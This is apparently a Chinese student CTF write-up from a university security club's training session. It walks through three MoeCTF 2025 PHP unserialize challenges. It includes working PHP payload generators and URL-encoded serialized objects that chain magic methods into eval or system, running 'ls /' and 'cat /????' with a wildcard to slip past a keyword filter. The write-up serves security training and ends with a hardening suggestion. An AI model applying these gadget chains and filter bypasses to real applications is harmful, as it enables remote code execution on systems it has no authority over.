XDSEC 2025~2026 Web 第一次组会 Training // By Patricia Of End 写在前面 说点大家都知道的,我不会 PHP,所以报告得梦到哪句说哪句了。
之前做这几道题的时候是 LLM 一把梭,不过既然学了就要好好分析一下,总不能什么时候都靠 LLM 解题。(虽然确实好用)
MoeCTF 2025 - Web 17 题目如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );class A { public $a ; function __destruct ( ) { eval ($this ->a); } }if (isset ($_GET ['a' ])) { unserialize ($_GET ['a' ]); }
构建 Payload ,通过上传的对象 $a 在销毁时调用 __destruct 魔术方法 从而执行任意命令。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class A { public $a ; function __destruct ( ) { eval ($this ->a); } }if (isset ($_GET ['a' ])) { unserialize ($_GET ['a' ]); }$A = new A ();$A ->a = 'system("ls /");' ;echo urlencode (serialize ($A ));
本地运行结果为
1 2 O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%22ls+%2F%22%29%3B%22%3B%7D'ls' is not recognized as an internal or external command, operable program or batch file.
那我知道成功没成功了。
至于为什么用ls /而不是env,这是小巧思(
MoeCTF 2025 - Web 18 题目如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );class PersonA { private $name ; function __wakeup ( ) { $name =$this ->name; $name ->work (); } }class PersonB { public $name ; function work ( ) { $name =$this ->name; eval ($name ); } }if (isset ($_GET ['person' ])) { unserialize ($_GET ['person' ]); }
当被反序列化时,会调用 class PersonA 的 __wakeup 魔术方法。
1 2 3 unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。 __wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
因此,我们需要让 $name->work(); 事实上调用 class PersonB 的 work() 函数。
在本地改一下 PersonA 类的 $name 属性,变成 public 之后有 Payload :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class PersonA { public $name ; function __wakeup ( ) { $name =$this ->name; $name ->work (); } }class PersonB { public $name ; function work ( ) { $name =$this ->name; eval ($name ); } }if (isset ($_GET ['person' ])) { unserialize ($_GET ['person' ]); }$A = new PersonA ();$B = new PersonB ();$A ->name = $B ;$B ->name = 'system ("ls /");' ;echo urlencode (serialize ($A ));
本地运行结果为
1 O%3A7%3A%22PersonA%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A7%3A%22PersonB%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A16%3A%22system+%28%22ls+%2F%22%29%3B%22%3B%7D%7D
没问题。
MoeCTF 2025 - Web 19 LLM 当时没做出来这个题,但感觉不是 LLM 的问题是我的问题。
题目如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php class Person { public $name ; public $id ; public $age ; public function __invoke ($id ) { $name = $this ->id; $name ->name = $id ; $name ->age = $this ->name; } }class PersonA extends Person { public function __destruct ( ) { $name = $this ->name; $id = $this ->id; $age = $this ->age; $name ->$id ($age ); } }class PersonB extends Person { public function __set ($key , $value ) { $this ->name = $value ; } }class PersonC extends Person { public function __Check ($age ) { if (str_contains ($this ->age . $this ->name,"flag" )) { die ("Hacker!" ); } $name = $this ->name; $name ($age ); } public function __wakeup ( ) { $age = $this ->age; $name = $this ->id; $name ->age = $age ; $name ($this ); } }if (isset ($_GET ['person' ])) { $person = unserialize ($_GET ['person' ]); }
这种题到底是谁在出
如下是组会上提到的思路:
反序列化时会调用 class PersonC 的 __wakeup 魔术方法。
由于 class PersonA,PersonB,PersonC 都是 Person 的子类,因此他们都继承了 $name,$id,$age 三个属性以及 __invoke 魔术方法,当这些对象被当作函数调用时就会执行。
1 2 3 4 5 6 7 public function __wakeup ( ) { $age = $this ->age; $name = $this ->id; $name ->age = $age ; $name ($this ); }
然后会执行 $name($this) ,触发 __invoke 魔术方法,执行以下内容,
1 2 3 4 5 6 public function __invoke ($id ) { $name = $this ->id; $name ->name = $id ; $name ->age = $this ->name; }
__invoke 完了,然后销毁对象。在销毁时我们应该触发 class PersonA 的 __destruct 魔术方法。
1 2 3 4 5 6 7 public function __destruct ( ) { $name = $this ->name; $id = $this ->id; $age = $this ->age; $name ->$id ($age ); }
我们能明显看出 $name->$id($age) 这里调用了 class PersonC 的 public function __Check 。
所以 $name->$id($age) 就是 __Check($age) 。
1 2 3 4 5 6 7 8 9 public function __Check ($age ) { if (str_contains ($this ->age . $this ->name,"flag" )) { die ("Hacker!" ); } $name = $this ->name; $name ($age ); }
$name($age); 应该为 system ("cat /flag"); 。考虑到前几题我们用 ls / 看过了根目录下 flag 文件是唯一一个四字文件,而这里又有过滤,聪明的你 做过Webshell_Revenge的你 一定能想到 Linux 里面的通配符 ? 。因此我们用 system ("cat /????"); 作为 Payload 。
但是上面的步骤(组会上提到的步骤)其实在把问题复杂化:
__wakeup 到底有什么用啊,如果我们直接传入一个 class PersonA 的对象,不就直接解决问题了吗?
让 PersonA 调用 __Check 函数,直接获得 flag 。
构造 Payload :
1 2 3 4 5 6 7 8 9 10 11 12 $personC = new PersonC ();$personC ->name = "system" ;$personC ->age = '' ;$personC ->id = '' ;$personA = new PersonA ();$personA ->name = $personC ;$personA ->id = "__Check" ;$personA ->age = "cat /????" ;echo (urlencode (serialize ($personA )));
$personA 在销毁时调用 __destruct 魔术方法,$personA->name->id 即 $personC->id 即 __Check 被调用,传出字符串 ‘“cat /????”‘ ,再获取 $this->name = ‘system’ ,执行 system ("cat /????") 传回 flag。
得到序列化字符串:
1 2 3 O%3A7%3A%22PersonA%22%3A3%3A%7Bs%3A4%3A%22name%22%3BO%3A7%3A%22PersonC%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3BN%3Bs%3A3%3A%22age%22%3BN%3B%7Ds%3A2%3A%22id%22%3Bs%3A7%3A%22__Check%22%3Bs%3A3%3A%22age%22%3Bs%3A9%3A%22cat+%2F%3F%3F%3F%3F%22%3B%7D // O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:6:"system";s:2:"id";N;s:3:"age";N;}s:2:"id";s:7:"__Check";s:3:"age";s:9:"cat /????";}
得到 flag。
对于本题的改进方法,个人认为应该在 PersonC 子类增加一个独有的属性,在 __wakeup 处把它赋值给一个变量,在其它子类的各魔术方法中进行 if() 检验,这样可以确保数据从 PersonC 传入。
最近事情有点多,19_revenge 和后续的两个题目咕咕咕咕,先占个坑在这里。